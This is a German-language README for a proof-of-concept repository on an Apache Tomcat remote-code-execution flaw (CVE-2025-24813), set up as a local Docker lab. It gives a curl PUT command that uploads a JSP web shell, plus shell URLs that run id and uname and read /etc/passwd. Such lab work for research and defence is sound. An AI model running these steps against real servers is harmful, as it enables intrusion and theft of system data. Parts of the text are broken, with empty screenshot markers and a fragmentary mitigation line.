
Apache Tomcat PUT JSP RCE - CVE-2025-24813 - Exploit & PoC
Dieses Repository enthält einen vollständigen Proof-of-Concept (PoC) für CVE-2025-24813, eine Remote-Code-Execution-Schwachstelle (RCE) in Apache Tomcat, die mithilfe der HTTP-PUT-Methode eine bösartige JSP-Web-Shell bereitstellt.
🔥 Dieser Exploit zeigt, wie ein Angreifer über Datei-Upload und Payload-Ausführung in unsachgemäß gesicherten Tomcat-Instanzen RCE erreichen kann.
CVE-2025-24813/
├── docker/
│ ├── Dockerfile
│ └── web.xml
├── exploit/
│ ├── 1_exploit_cve_2025_24813.py
│ └── shell.jsp
├── screenshots/
│ ├── 1_tomcat_running.png
│ ├── 2_docker_started.png
│ ├── 3_upload_shell.png
│ ├── 4_run_python_exploit.png
│ ├── 5_access_shell_whoami.png
│ ├── 6_view_etc_passwd.png
│ ├── 7_run_uname.png
│ ├── 8_run_id.png
│ └── 9_run_pwd.png
├── .gitignore
├── LICENSE
└── README.md
cd docker
sudo docker build -t cve-24813-tomcat .
sudo docker run -it -p 8080:8080 cve-24813-tomcat
📸 
📸 
curl -X PUT --upload-file exploit/shell.jsp http://localhost:8080/shell.jsp
📸 
python3 exploit/1_exploit_cve_2025_24813.py
📸 
http://localhost:8080/shell.jsp?cmd=id
http://localhost:8080/shell.jsp?cmd=uname -a
http://localhost:8080/shell.jsp?cmd=cat /etc/passwd
📸 
📸 
📸 
📸 
📸 
web.xml oder der Serverkonfiguration deaktivierenDieses Projekt dient nur Bildungs- und Forschungszwecken. Nicht autorisierte Tests, Ausnutzung oder Nutzung auf Systemen, die Ihnen nicht gehören oder für die Sie keine Testberechtigung haben, sind illegal und unethisch.
Shivshant Patil
Certified Ethical Hacker (CEH v13)
B.Tech Computer Engineering Graduate
🔗 LinkedIn
🔗 GitHub